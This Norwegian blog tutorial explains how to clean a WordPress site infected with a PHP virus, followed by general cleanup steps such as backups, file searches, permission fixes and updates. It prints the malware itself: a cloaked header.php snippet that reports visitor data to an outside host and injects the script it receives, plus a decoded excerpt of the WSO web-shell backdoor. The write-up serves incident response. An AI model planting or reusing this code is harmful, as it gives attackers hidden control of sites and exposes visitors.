fjerne WordPress PHP Virus

Denne opplæringen presenterer et spesielt tilfelle hvor en blogg WordPress den var infisert. Fjerning WordPress PHP-virus.

Her om dagen la jeg merke til en mistenkelig kode som ser ut til å være et PHP-virus for WordPress. Følgende PHP-kode var til stede i header.php, før linjen </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Dette er PHP-kode som ser ut som den prøver å hente innholdet til en ressurs fra en ekstern server, men URL-delen er ufullstendig.

Arbeidsmekanismen er noe mer kompleks og gjør dette WordPress PHP Virus usynlig for besøkende på berørte nettsteder. I stedet retter den seg mot søkemotorer (Google) og fører implisitt til en betydelig nedgang i antall besøkende til de berørte nettstedene.

Detaljer om skadelig programvare WordPress PHP Virus

1. Koden ovenfor finnes i header.php.

2. En fil dukket opp på serveren wp-log.php i mappen wp-includes.

3. wp-log.php inneholder en kryptert kode, men som er relativt enkel å dekryptere.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dekrypter skadelig programvare fra wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Dette ser ut til å være et ondsinnet PHP-skript som inneholder kode for å håndtere autentisering og handlinger på filer og kataloger på en server. Det kan lett sees at dette skriptet inneholder variabler som $auth_pass (autentiseringspassord), $default_action (standardhandlingen), $default_use_ajax (bruker Ajax som standard) og $default_charset (standard tegninnstilling).

Dette skriptet har åpenbart en seksjon som sjekker HTTP-brukeragenter for å blokkere tilgang til visse nettroboter, for eksempel søkemotorer. Den har også en seksjon som sjekker PHP-sikkerhetsmodusen og setter visse arbeidskataloger.

4. Hvis wp-log.php åpnes i nettleseren, vises en nettside med et felt på autentisering. Ved første øyekast ser det ut til å være en filbehandler der nye filer enkelt kan lastes opp til målserveren.

Hvordan deviruserer du et nettsted WordPress?

Alltid innebærer den manuelle de-virusprosessen først å oppdage og forstå hva sårbarheten var.

1. Generer en sikkerhetskopi for hele nettstedet. Dette må inkludere både filene og databasen.

2. Bestem omtrent hvor lenge viruset har eksistert, og søk på webserveren etter filer som har blitt endret eller nyopprettet innen den omtrentlige tidsrammen.

For eksempel hvis du vil se filene .php opprettet eller endret den siste uken, kjør kommandoen på serveren:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Det er en enkel metode der du kan pakke ut filene WordPress infiserte og de som inneholder skadelig programvare.

3. Sjekk filen .htaccess av mistenkelige direktiver. Tillatelseslinjer eller kjøring av skript.

4. Sjekk databasen. Det er godt mulig at noen innlegg og sider WordPress redigeres med skadelig programvare eller nye lagt til brukere med rolle som administrator.

5. Sjekk skrivetillatelsene for mapper og filer. chmod SI chown.

Anbefalte tillatelser er: 644 for filer og 755 for kataloger.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Oppdater alle WordPress Plugins / WordPress Themes.

Relatert: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Dette er "grunnleggende" metoder som du kan deviruse et nettsted/blogg med WordPress. Hvis du har problemer og trenger hjelp, er kommentarfeltet åpen.

Teknologiinteressert, jeg skriver med glede på StealthSettings.com siden 2006. Jeg har bred erfaring med operativsystemer: macOS, Windows og Linux, samt programmeringsspråk og bloggplattformer (WordPress) og for nettbutikker (WooCommerce, Magento, PrestaShop).

Hvordan » WordPress » fjerne WordPress PHP Virus
Legg igjen en kommentar